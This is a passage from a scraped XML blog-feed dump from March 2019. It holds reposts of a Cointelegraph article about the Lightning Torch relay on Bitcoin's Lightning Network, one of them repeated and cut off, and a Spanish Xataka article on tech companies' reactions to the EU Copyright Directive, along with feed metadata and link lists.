aypal-coo-hails-bitcoin-acceleration-as-he-joins-lightning-torch-relay</link><link>https://www.cointelegraph.com/tags/monero</link><link>https://www.twitter.com/fluffypony/status/1094044282724462592</link><link>https://www.github.com/rootzoll/raspiblitz</link><link>https://www.tallyco.in/s/thz6f7</link><link>https://www.cointelegraph.com/tags/venezuela</link><link>https://www.washingtonpost.com/business/2019/02/01/venezuela-is-biggest-economic-disaster-modern-history/?noredirect=on&amp;utm_term=.b90f2efde1dd</link><link>https://www.cointelegraph.com/tags/maduro</link><link>https://www.cointelegraph.com/news/venezuela-on-fire-how-maduros-petro-plan-failed-to-bail-out-the-country</link><link>https://www.cointelegraph.com/news/bitcoin-trading-reaches-all-time-high-in-venezuela-amidst-ongoing-economic-collapse</link><link>https://www.marketwatch.com/story/krogers-smiths-stores-to-stop-accepting-visa-credit-cards-citing-excessive-fees-2019-03-01</link><link>https://www.cointelegraph.com/news/major-us-retailer-kroger-drops-visa-morgan-creek-digital-suggests-lightning-network</link><link>https://www.twitter.com/APompliano/status/1102273796046798850</link></links><tags><tag>Cryptocurrency trends</tag></tags><images /><indexedAt>2019-03-27T18:42:04Z</indexedAt><publishedAt>2019-03-27T18:23:00Z</publishedAt><reindexedAt>2019-03-27T18:42:04Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>18146974855087679860</blogId><blogName>The Bitcoin Whispers</blogName><blogUrl>https://www.thebitcoinwhispers.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>15180281889610309795</id><author>David</author><url>https://blockchain-crypto.blogspot.com/2019/03/the-lightning-torch-how-community.html</url><title>The Lightning Torch: How the Community United to Teach Jack Dorsey About Feeless, Rapid Off-Chain Transactions</title><text>Over the last few weeks, the Lightning Network — Bitcoin’s off-chain scaling protocol — has made waves. Over the last few weeks, Bitcoin’s (BTC) second-layer scaling protocol, called the Lightning Network (LN), has gained a lot of traction, steadily proving to become a viable solution to BTC’s infamous scalability problem and even potential competitor to American payments giant Visa. Thanks to the community-driven Twitter experiment called “the Lightning Torch,” the LN has now been co-signed by Jack Dorsey, who says that integrating the protocol on Square’s popular Cash App is a question of “when, not if.” On top of raising awareness, the social media campaign has also shown what the LN technology is ready to offer in real conditions — but also revealed some of its shortcomings. A brief history of the Lightning Network, an ambitious campaign to tackle Bitcoin’s scalabilityThe history of the protocol could be traced back to January 2016, when Joseph Poon and Thaddeus Dryja published a white paper dubbed “The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments.” In it, they underpinned Bitcoin’s Achilles Heel — the scalability issue — and compared the cryptocurrency’s capacity to Visa to illustrate their point: “The payment network Visa achieved 47,000 peak transactions per second (tps) on its network during the 2013 holidays, and currently averages hundreds of millions per day. Currently, Bitcoin supports less than 7 transactions per second with a 1 megabyte block limit.” Achieving Visa-like volume on the Bitcoin network seemed barely possible, given that handling that kind of bandwidth and storage would require a great amount of computing power. However, Poon and Dryja argued, there is a way to make Bitcoin a feasible alternative to existing payment systems while keeping its signature decentralization and security — and that would be off-chain scaling. Enter LN, a network of off-chain payment channels, which require almost no fees and allow for fast, seamless transactions that are made on a layer above the actual blockchain. “With an off chain payment channel you can deposit, for instance, $100 once, and pay network fee for it, and then pay to your favorite shop as many times as you wish, without paying any transaction fees to the network, to the sum of $100,” explains Eyal Shani, a blockchain researcher at consulting group Aykesubir. He added: “Instead of paying a transaction and sending it to the entire network, you send an encrypted and signed ‘promise’ that you owe that other party, say, $10 out of the $100. Finally, if the paid party needs the money for another purpose, they close the channel by sending the promise to the entire network. Theoretically, you can do millions of transactions for the price of twice the network fee.” That way, users can conduct numerous transactions outside of the blockchain and then, when they’re done, record them as a single one, hence saving a lot of processing for the ledger. To describe how the channels work in greater detail, Shani makes an analogy with buckets of water, emphasizing one of its main shortcoming along the way: “When you deposit money on it, you're filling the bucket and then when you spend it, it slowly loses that water. The bucket can also be full, as you can't have too much water in it. Because of this, for example, once you open a LN channel, you cannot receive money right away — your bucket is full, and first you have to spend some. However, based on the fact that you want to transfer (usually) money from A to D, via the channels of B and C along the way it is a real problem to keep everyone’s channel with enough liquidity (i.e, balance) to make the transfer.” Although the LN has been designed specifically for Bitcoin’s blockchain, Shani adds, the concept can be performed on other blockchains — for instance, there is the Raiden network created for Ethereum (ETH). Moreover, as Cointelegraph reported in a more in-depth analysis of the LN, the network is also testing the so-called cross-chain atomic swaps, which are basically transfers of tokens between different blockchains. If properly implemented, this feature could allow to quickly — and with little to no fees — swap any given cryptocurrency to a different one, and hence challenge the use of cryptocurrency exchanges. The Lightning Torch — from a local flash mob to a powerful movement co-signed by the CEO of TwitterThe Lightning Torch, also known as LN Trust Chain, is a community-driven experiment aimed at raising awareness about the protocol and testing its robustness. It was launched on Jan. 19, when Twitter user and Bitcoin enthusiast Hodlonaut announced he or she was willing to pass on 100,000 Satoshis (the smallest unit of a Bitcoin) via the LN to the first person who seems reliable. That volunteer would have to add another 10,000 Satoshis and send the whole amount to another person willing to participate, and so on. The process somewhat resembles the Olympic torch relay, hence the name “the Lightning Torch.” Eventually, the hashtag #LNTrustChain began circulating to ease communication among community members involved in the experiment, giving the movement an additional boost on social media. “The experiment got traction pretty fast among my little twitter bubble. First 100 passes took less than a week.” Hodlonaut tells Cointelegraph over Twitter DMs. “I think busiest day may actually have been the first day, January 19, with more than 20 passes. The pace of passing has decreased with time, mainly because people are trying to make passes to specific people instead of just sending to one of the invoices sent to them on twitter.” As of press time, the torch has been carried by more than 240 people in 52 different countries. The list of participants includes, among others, a 88-year-old grandmother of a crypto enthusiast, Twitter CEO Jack Dorsey, financial derivatives giant Fidelity Investments, LinkedIn co-founder and former PayPal Chief Operating Officer Reid Hoffman and Monero (XMR) Core developer Riccardo Spagni, who passed the torch while inflight. “I was excited about LN, and wanted to have some fun/experiment with it.” Hodlonaut recalls. “I was curious to see how far something like that could go. Didn't expect it to last very long or get much attention… So the @jack thing was pretty mindblowing” Initially, Hodlonaut says, his or her goal was to simply spread awareness about the LN and its potential use. He or she has been interested in the protocol since the testnet days, but it was in September 2018 when Hodlonaut finally set up their own node using RaspiBlitz’s instructions. Hodlonaut continued: “Why I got interested is because the instant nature is so fascinating. To be able to send fractions of bitcoin instantly like this was mind blowing in the same way my first transactions on-chain after discovering Bitcoin in 2013.” Even though the LN community has appeared overall trustful and cooperative, there have been a few bumps in the road. Early on, when the torch had amassed around 250,000 Satoshis, it was hijacked by an umbrageous user. “I thought it was the end, but on his own initiative the guy who sent to the thief, resent to a new person out of his own pocket to keep the torch alive,” the movement’s founder says. Then, around 2.5 million Satoshis, the torch fell into the hands of a reluctant person who declared he wasn't going to pass it on. “He was hostile to the experiment, calling it a stupid circlejerk. But once again, the guy who sent it to him, resent to a new person out of his own pocket,” Hodlonaut says, summarizing at some point: “Turns out, this community is pretty awesome.” Foreseeable future: donations to Bitcoin Venezuela, negotiations with major United States retailer who has dropped VisaNow that the movement is rapidly growing, a more concrete milestone has been set up. “The goal is to get to the Lightning Network tx cap at 4.29 Msats,” Hodlonaut says. “The torch is then donated to @btcven [Bitcoin Venezuela] along with the funds from this fundraiser.” Bitcoin Venezuela was chosen because of the local economic hardship, Hodlonaut explains. Indeed, Venezuela’s economy has reportedly fallen by 47 percent since the end of 2013, as the bolivar, the local sovereign currency, have been drastically inflating under the politics of Nicolas Maduro, the country’s president. As a result, the local people have largely turned to Bitcoin, which, due to its decentralized nature, appeared as a means to bypass the unstable fiat currency — last month, BTC trading volumes in Venezuela reached a new all-time high. “They [Bitcoin Venezuela] have a long track record of spreading bitcoin adoption, feeding people and trying to put infrastructure like mesh networks in place,” the movement’s founder says. Meanwhile, despite still being in its infant stage, the LN is picking up the pace. Although it is still unclear whether the protocol will ever be able to dethrone Visa, there are promising signs. Earlier this month, major U.S. retailer Kroger announced that its Smith's Food &amp; Drug stores will not accept Visa cards starting April 3, citing the high fees that company imposes on large retailers. "Visa has been misusing its position and charging retailers excessive fees for a long time," Kroger's Chief Financial Officer Mike Schlotman said. In response, Anthony Pompliano, founder of Morgan Creek Capital — an institutional investment house with $1.5 billion in assets under management — suggested that Kroger should deploy the Lightning Network in its stores. According to one of his tweets, the negotiations have already started.   From Cointelegraph.com News https://cointelegraph.com/news/the-lightning-torch-how-the-community-united-to-teach-jack-dorsey-about-feeless-rapid-off-chain-transactions</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.cointelegraph.com/tags/bitcoin</link><link>https://www.cointelegraph.com/tags/scalability</link><link>https://www.cointelegraph.com/tags/lightning-network</link><link>https://www.cointelegraph.com/explained/blockchains-scaling-problem-explained</link><link>https://www.cointelegraph.com/tags/usa</link><link>https://www.cointelegraph.com/tags/visa</link><link>https://www.cointelegraph.com/tags/twitter</link><link>https://www.cointelegraph.com/news/jack-dorsey-says-cash-app-support-for-lightning-network-a-question-of-when-not-if</link><link>https://lightning.network/lightning-network-paper.pdf</link><link>https://www.cointelegraph.com/lightning-network-101/altcoins-with-lightning-network-support</link><link>https://www.cointelegraph.com/news/raiden-project-sets-milestone-for-ethereums-scaling-solution</link><link>https://www.cointelegraph.com/tags/ethereum</link><link>https://www.cointelegraph.com/lightning-network-101/what-is-lightning-network-and-how-it-works#how-does-it-work</link><link>https://www.cointelegraph.com/tags/cryptocurrency-exchanges</link><link>https://www.twitter.com/hodlonaut/status/1086703428791865345</link><link>https://www.twitter.com/hashtag/lntrustchain</link><link>https://www.twitter.com/Ibelite/status/1097692828812099584</link><link>https://www.cointelegraph.com/news/derivatives-giant-fidelity-investments-receives-and-passes-on-the-lightning-torch</link><link>https://www.cointelegraph.com/tags/linkedin</link><link>https://www.cointelegraph.com/tags/paypal</link><link>https://www.cointelegraph.com/news/ex-paypal-coo-hails-bitcoin-acceleration-as-he-joins-lightning-torch-relay</link><link>https://www.cointelegraph.com/tags/monero</link><link>https://www.twitter.com/fluffypony/status/1094044282724462592</link><link>https://www.github.com/rootzoll/raspiblitz</link><link>https://www.tallyco.in/s/thz6f7</link><link>https://www.cointelegraph.com/tags/venezuela</link><link>https://www.washingtonpost.com/business/2019/02/01/venezuela-is-biggest-economic-disaster-modern-history/?noredirect=on&amp;utm_term=.b90f2efde1dd</link><link>https://www.cointelegraph.com/tags/maduro</link><link>https://www.cointelegraph.com/news/venezuela-on-fire-how-maduros-petro-plan-failed-to-bail-out-the-country</link><link>https://www.cointelegraph.com/news/bitcoin-trading-reaches-all-time-high-in-venezuela-amidst-ongoing-economic-collapse</link><link>https://www.marketwatch.com/story/krogers-smiths-stores-to-stop-accepting-visa-credit-cards-citing-excessive-fees-2019-03-01</link><link>https://www.cointelegraph.com/news/major-us-retailer-kroger-drops-visa-morgan-creek-digital-suggests-lightning-network</link><link>https://www.twitter.com/APompliano/status/1102273796046798850</link></links><tags><tag>Bitcoin</tag><tag>Cryptocurrency</tag><tag>Cryptocurrency News</tag></tags><images /><indexedAt>2019-03-27T18:50:07Z</indexedAt><publishedAt>2019-03-27T18:22:00Z</publishedAt><reindexedAt>2019-03-27T18:50:07Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>11699350943731447410</blogId><blogName>Cryptocurrency &amp; Blockchain News</blogName><blogUrl>https://blockchain-crypto.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>1063000224804030685</id><author>janyobytes</author><url>https://janyobytes.wordpress.com/2019/03/27/esta-ha-sido-la-reaccion-de-las-grandes-companias-de-tecnologia-ante-la-nueva-ley-de-copyright-de-la-ue-3/</url><title>Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</title><text>Los polémicos artículos 11 y 13 (ahora 15 y 17) han sido aprobados. La nueva Ley del Copyright de la Unión Europea plantea importantes cambios para la internet que todos conocemos, pero todavía es pronto para saber qué implicaciones y efectos tendrá.  
Según la directiva aprobada, casi de rebote, las grandes empresas (y no tan grandes), deberán implantar filtros automatizados para detectar contenido susceptible de estar bajo derechos de autor. Una acción que como explica David Bravo, abogado especializado en propiedad intelectual, “convierte a las plataformas que alojan contenidos en los responsables de lo que suben sus usuarios de forma continua y masiva”. A lo que concluye que “a todos los efectos es como si los subieran ellos personalmente”. 
Para conocer un poco más sobre las consecuencias de la nueva directiva de la Unión Europea y cómo afectará a la red, hemos repasado y preguntado a las principales compañías tecnológicas afectadas por las medidas aprobadas. Esta es su postura.   
 



    
     
   
  


    En Xataka
   
   Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué?
  
 

Google

  

Google ha sido una de las compañías de tecnología que más esfuerzos realizó para evitar la aprobación de esta nueva ley del copyright. A principios de año, alertaba que con la aprobación del por entonces artículo 11, su buscador tendría una apariencia muy distinta. Incluso no se descartaba el cierre de Google News en Europa, aunque no era algo que les gustaría que pasara”.  
La compañía no ha anunciado decisiones concretas y nos emplaza al futuro, aunque su posición refleja inseguridad. Matt Brittin, presidente de Google Europa ha expresado la siguiente postura sobre los cambios en la directiva sobre el Copyright: 

“La directiva sobre Copyright ha mejorado pero seguirá provocando inseguridades jurídicas y perjudicará a las economías creativas y digitales en Europa. Los detalles importan, y esperamos poder trabajar con los responsables políticos, editores, creadores y propietarios de derechos, a medida que los Estados miembros de la UE avanzan en la aplicación de estas nuevas normas”. 

Youtube
Youtube es otra de las grandes plataformas afectadas. Desde Youtube Creators, han dado las gracias a todos aquellos que explicaron los efectos del artículo 13 y cómo iba a afectar a la comunidad. Y, como Google, emplazan a una posible revisión de la ley.  

Update: The European Parliament has now voted on the EU Copyright Directive. Thanks to all the creators who spoke up about how #Article13 will impact them and their communities. Here's our statement on today's vote  pic.twitter.com/ETHEOYwr7w 
— YouTube Creators (@YTCreators) 26 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Susan Wojcicki, CEO de Youtube, también ha publicado su postura en su perfil de Twitter haciendo hincapié que la Ley del Copyright fue aprobada por muy pocos votos de margen y que podría haber ido de manera diferente. “Es el principio”, apunta.  
Wikipedia

  

Para protestar contra la nueva Ley del Copyright, Wikipedia apagó las versiones de varios países. Una vez aprobada, desde la fundación Wikimedia publicaron un comunicado donde “esperan ver repercusiones directas en todas las actividades online”.  

You, the Internet user, have lost a huge battle today in Internet parliament.  The free and open internet is being quickly handed over to corporate giants at the expense of ordinary people.  This is not about helping artists, it is about empowering monopolistic practices. 
— Jimmy Wales (@jimmy_wales) 26 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Según Wikimedia, el artículo 15 requerirá que ciertas páginas web de noticias tengan que adquirir licencias para el contenido que están mostrando. Como resultado, muchas webs que ayudaban a descubrir contenido no podrán ofrecer este servicio, dificultando la posibilidad de encontrar nuevas noticias de fuentes fiables.  
Respecto al artículo 17 (antiguo artículo 13), Wikimedia explica que introducirá un nuevo régimen de responsabilidad en toda la Unión Europea, según el cual las webs podrán ser demandadas por violaciones de copyright de los usuarios. Esto incentivará las páginas que filtren todo el contenido y dejen solo las “seguras” desde una perspectiva del copyright. Erosionando las excepciones y limitaciones del propio copyright al dejar que sean las plataformas las que juzguen lo es y no es una infracción.  
Desde el lado positivo. Wikimedia explica que la nueva directiva garantizará las obras de dominio público y los museos y bibliotecas podrán ofrecer acceso digital a las obras que todavía no son de dominio público.  
Y apuntan un último detalle clave sobre esta nueva ley del Copyright: los distintos países tienen dos años para implementarla en sus leyes nacionales. “Muchos países abrirán y modificarán su ley de derechos de autor por primera vez en años”, explica Wikimedia. 
Reddit

  

Reddit es otra empresa afectada directamente por la nueva Ley del Copyright. Pese a ser una compañía norteamericana, tienen una gran base de usuarios en Europa e incluso avisan que esta ley podría afectar a la disponibilidad de sus servicios incluso a los usuarios no europeos.   
Desde sus redes sociales y foros han movilizado a sus usuarios para contactar con los políticos y hacerles cambiar el sentido de su voto, una acción que finalmente se ha demostrado incapaz de cambiar el resultado final.  
Según Reddit, el conocido como artículo 13 obligará a la plataforma a proactivamente confirmar que cada tema tiene los permisos necesarios. Algo imposible de detectar sin mecanismos automatizados. Se trata de un problema de negocio para ellos, lo que impactará en la habilidad de Reddit para competir contra otras grandes empresas. Pero también ponen el foco en la opacidad del proceso.  
Ante la nueva ley del copyright, los usuarios de Reddit ya han empezado a [𝑇ℎ𝑖𝑠 𝑐𝑜𝑚𝑚𝑒𝑛𝑡 ℎ𝑎𝑠 𝑏𝑒𝑒𝑛 𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑 𝑑𝑢𝑒 𝑡𝑜 𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛 𝑈𝑛𝑖𝑜𝑛’𝑠 𝑐𝑜𝑝𝑦𝑟𝑖𝑔ℎ𝑡 𝑙𝑎𝑤]. 
Mozilla
La fundación Mozilla publicó un comunicado donde describía la nueva Ley de Copyright como una oportunidad perdida.  
Según Mozilla, la nueva directiva obligará a los servicios en línea a implementar complejos filtros que en la práctica no serán siempre viables. Mientras que al mismo tiempo, se ha aprobado una medida que socavará el acceso al conocimiento y el intercambio de información en línea.  
Desde una postura a favor de los derechos de los creadores, en Mozilla creen que supone una victoria pírrica y esperan que los temas de copyright vuelvan a la agenda política durante los próximos años ya que los problemas para los creadores europeos y la prensa se mantendrán pese a la aprobación de esta nueva ley.  
Una vez conocidos los detalles, Raegan MacDonald, director de Mozilla EU Public Policy, ha publicado el siguiente comunicado:  

No hay nada que celebrar hoy. Con la oportunidad de incorporar las normas de derechos de autor en el siglo XXI, las instituciones de la UE han desaprovechado el progreso realizado por los innovadores y creadores para imaginar nuevos contenidos y compartirlos con personas de todo el mundo, y han devuelto el poder a grandes sellos discográficos de propiedad estadounidense. Estudios de cine y gran tecnología. 
Los usuarios de la red sentirán en todas partes el impacto de este voto desastroso y esperamos que los derechos de autor vuelvan al escenario político. Hasta entonces, haremos todo lo posible para minimizar el impacto negativo de esta ley en la experiencia de Internet de los europeos y la capacidad de las empresas europeas para competir en el mercado digital. 

Twitter

  

Otra de las grandes empresas tecnológicas que se ha pronunciado sobre la nueva directiva de Copyright ha sido Twitter.  
Preguntados por Xataka, fuentes de Twitter declaran que la compañía ha participado en el debate de la nueva ley del Copyright desde el principio.  

“Conservamos nuestras preocupaciones sobre las implicaciones del voto de hoy para la naturaleza abierta, creativa y conversacional de Internet. Seguiremos colaborando con los estados miembros de la UE y la sociedad civil a medida que el proceso de implementación evolucione”. 

Adicionalmente, en Twitter hacen referencia al posicionamiento de la asociación sectorial EDiMA, organización que representa en Bruselas los intereses de los negocios digitales y las plataformas online.   

“Aunque reconocemos que el texto final ha mejorado significativamente con respecto a borradores anteriores, aún estamos en desacuerdo fundamental con él, ya que socava otras leyes de la UE, intenta forzar un modelo de negocio de licencias en plataformas abiertas y debilita la privacidad fundamental y la libertad de expresión de los derechos de Ciudadanos de la UE”. 

Github
Github, ahora en manos de Microsoft, ha tenido una posición bastante beligerante contra la nueva ley del copyright. Una postura que contrasta con la de Microsoft, que no ha tomado partido ni se ha pronunciado abiertamente.  

EU Parliament final #CopyrightDirective vote next week! TL;DR software development itself carved out, © reform needed esp for #TDM, but #Article11 and #Article13 problematic for what developers build, and for the internet broadly. Our analysis holds https://t.co/KChdnNY7Wj 
— GitHub Policy (@GitHubPolicy) 21 de marzo de 2019 
https://platform.twitter.com/widgets.js 
A principios de febrero, la compañía publicaba en su blog su posición sobre la directiva de Copyright que finalmente ha sido aprobada. Un lugar donde reflejaban los cambios y las excepciones, como las del software open source, que han sufrido los polémicos artículos. Según declaraciones de Abby Vollmer, Senior Policy Manager de Github a The Next Web: “Algunos códigos están bajo copyright. Así que esto sería un gran problema para nosotros, ya que la base de código de todos en GitHub estaría sujeta a este requisito de filtración.”. 
Menéame
Pasando a terreno español, Daniel Seijo, CEO de Menéame, ha publicado un artículo donde explica cómo afectará a Menéame la directiva de copyright europea. ¿Su respuesta? Principalmente que todavía es pronto para saberlo.  

¿Cómo afectará a Menéame la directiva de copyright europeo? https://t.co/wx2eVYu7ZW 
— Daniel Seijo (@dseijo) 27 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Seijo recuerda que todavía se tiene que desarrollar la ley española para su aplicación en este país. Una ley que debería concretar sobre puntos sujetos a interpretación como por ejemplo los snippets.  
Algunos de los puntos relevantes para Menéame de la ley del copyright serían los siguientes: 


“La protección otorgada en virtud del primer párrafo no se aplicará a los actos de hiperenlace”. Lo que llevaría a cuestionar si bastaría con redactar la entradilla de forma manual (o automática) de forma que no contenga texto de la noticia.  


“Los derechos contemplados en el párrafo primero no se aplicarán con respecto al uso de palabras individuales o extractos muy breves de una publicación de prensa.” Un punto que deja margen para la interpretación de lo que se considera “muy breve”.  


¿Y ahora qué?

  

Otras empresas como Facebook, Twitch o Tik Tok todavía no se han pronunciado sobre esta nueva directiva de copyright de la Unión Europea. Por el momento, como hemos podido ver por las declaraciones nombradas, todavía queda por conocer cómo llegarán a implementarse los artículos 15 y 17. El marco legal de cada país aún debe establecerse y se acercan elecciones europeas. Un margen de tiempo en el que quizás la presión de estas empresas y la de los usuarios de la red modifiquen de nuevo la ley en el futuro. 
También te recomendamos
 

         
            El Artículo 13 sigue vivo: Francia y Alemania acuerdan llevar a votación una nueva reforma más estricta de la Ley del Copyright 
        
     

         
            Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué? 
        
     

         
            Estas son todas las muertes que habrías sufrido sin tecnología 
        
     
 –   La noticia 
        
         Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE  
        
       fue publicada originalmente en 
        
         Xataka  
        
              por  
        Enrique Pérez 
        
       .</text><languageCode>es</languageCode><locationCode>gb</locationCode><coordinates /><links><link>http://www.europa.eu/rapid/press-release_STATEMENT-19-1839_en.htm</link><link>https://www.genbeta.com/actualidad/articulo-13-ley-copyright-salio-adelante-forma-directa-porque-algunos-diputados-se-equivocaron-al-votar</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright</link><link>https://www.twitter.com/dbravo/status/1110853630415044608</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/que-articulo-13-que-google-youtube-estan-haciendo-campana</link><link>https://www.genbeta.com/actualidad/asi-como-dice-google-que-se-vera-buscador-finalmente-se-aprueba-reforma-ley-copyright</link><link>https://www.twitter.com/MattBrittin</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/ETHEOYwr7w</link><link>https://www.twitter.com/YTCreators/status/1110512610812801024?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.twitter.com/SusanWojcicki/status/1110826965731172352</link><link>https://www.genbeta.com/actualidad/wikipedia-se-apaga-pornhub-twitch-reddit-protestan-nueva-directiva-copyright-europea</link><link>https://www.wikimediafoundation.org/2019/03/26/european-parliament-limits-internet-freedom-in-controversial-copyright-vote</link><link>https://www.twitter.com/jimmy_wales/status/1110517366365044736?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.redditblog.com/2019/03/20/error-copyright-not-detected-what-eu-redditors-can-expect-to-see-today-and-why-it-matters</link><link>https://www.twitter.com/reddit/status/1108503484633100289</link><link>https://www.reddit.com/r/copypasta/comments/b5r4wz/𝑇ℎ𝑖𝑠_𝑐𝑜𝑚𝑚𝑒𝑛𝑡_ℎ𝑎𝑠_𝑏𝑒𝑒𝑛_𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑_𝑑𝑢𝑒_𝑡𝑜_𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛</link><link>https://blog.mozilla.org/netpolicy/2019/03/25/eu-copyright-reform-a-missed-opportunity</link><link>https://blog.mozilla.org/netpolicy/2019/03/26/copyright_outcome</link><link>http://www.edima-eu.org/news/edima-reaction-eu-copyright-directive-is-not-fit-for-digital-era</link><link>https://www.xataka.com/aplicaciones/oficial-microsoft-compra-github-7-500-millones-dolares</link><link>https://www.twitter.com/hashtag/CopyrightDirective?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/TDM?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article11?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/KChdnNY7Wj</link><link>https://www.twitter.com/GitHubPolicy/status/1108766937083834369?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.github.blog/2019-02-13-the-eu-copyright-directive-what-happens-from-here</link><link>https://www.thenextweb.com/dd/2019/03/25/inside-githubs-fight-to-protect-devs-from-eus-disastrous-copyright-reform</link><link>https://www.meneame.net/m/Artículos/como-afectara-meneame-directiva-copyright-europeo</link><link>https://www.t.co/wx2eVYu7ZW</link><link>https://www.twitter.com/dseijo/status/1110869108361449472?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com//https://www.bloglenovo.es/estas-son-todas-las-muertes-que-habrias-sufrido-sin-tecnologia/?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/autor/lyzanor?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:3QFJfmc7Om4</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:I9og5sOYxJI</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:qj6IDK7rITs</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:ecdYMiMMAMM</link></links><tags><tag>News</tag><tag>IFTTT</tag><tag>xataka</tag></tags><images /><indexedAt>2019-03-27T18:41:58Z</indexedAt><publishedAt>2019-03-27T18:19:19Z</publishedAt><reindexedAt>2019-03-27T18:41:58Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8022782216872715981</blogId><blogName>JanyoBytes</blogName><blogUrl>https://janyobytes.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>8570443311771102957</id><author>Lucas Uwadi</author><url>https://www.cryptotalkalert.ga/2019/03/the-lightning-torch-how-community.html</url><title>The Lightning Torch: How the Community United to Teach Jack Dorsey About Feeless, Rapid Off-Chain Transactions</title><text>Over the last few weeks, the Lightning Network — Bitcoin’s off-chain scaling protocol — has made waves. Over the last few weeks, Bitcoin’s (BTC) second-layer scaling protocol, called the Lightning Network (LN), has gained a lot of traction, steadily proving to become a viable solution to BTC’s infamous scalability problem and even potential competitor to American payments giant Visa. Thanks to the community-driven Twitter experiment called “the Lightning Torch,” the LN has now been co-signed by Jack Dorsey, who says that integrating the protocol on Square’s popular Cash App is a question of “when, not if.” On top of raising awareness, the social media campaign has also shown what the LN technology is ready to offer in real conditions — but also revealed some of its shortcomings. A brief history of the Lightning Network, an ambitious campaign to tackle Bitcoin’s scalabilityThe history of the protocol could be traced back to January 2016, when Joseph Poon and Thaddeus Dryja published a white paper dubbed “The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments.” In it, they underpinned Bitcoin’s Achilles Heel — the scalability issue — and compared the cryptocurrency’s capacity to Visa to illustrate their point: “The payment network Visa achieved 47,000 peak transactions per second (tps) on its network during the 2013 holidays, and currently averages hundreds of millions per day. Currently, Bitcoin supports less than 7 transactions per second with a 1 megabyte block limit.” Achieving Visa-like volume on the Bitcoin network seemed barely possible, given that handling that kind of bandwidth and storage would require a great amount of computing power. However, Poon and Dryja argued, there is a way to make Bitcoin a feasible alternative to existing payment systems while keeping its signature decentralization and security — and that would be off-chain scaling. Enter LN, a network of off-chain payment channels, which require almost no fees and allow for fast, seamless transactions that are made on a layer above the actual blockchain. “With an off chain payment channel you can deposit, for instance, $100 once, and pay network fee for it, and then pay to your favorite shop as many times as you wish, without paying any transaction fees to the network, to the sum of $100,” explains Eyal Shani, a blockchain researcher at consulting group Aykesubir. He added: “Instead of paying a transaction and sending it to the entire network, you send an encrypted and signed ‘promise’ that you owe that other party, say, $10 out of the $100. Finally, if the paid party needs the money for another purpose, they close the channel by sending the promise to the entire network. Theoretically, you can do millions of transactions for the price of twice the network fee.” That way, users can conduct numerous transactions outside of the blockchain and then, when they’re done, record them as a single one, hence saving a lot of processing for the ledger. To describe how the channels work in greater detail, Shani makes an analogy with buckets of water, emphasizing one of its main shortcoming along the way: “When you deposit money on it, you're filling the bucket and then when you spend it, it slowly loses that water. The bucket can also be full, as you can't have too much water in it. Because of this, for example, once you open a LN channel, you cannot receive money right away — your bucket is full, and first you have to spend some. However, based on the fact that you want to transfer (usually) money from A to D, via the channels of B and C along the way it is a real problem to keep everyone’s channel with enough liquidity (i.e, balance) to make the transfer.” Although the LN has been designed specifically for Bitcoin’s 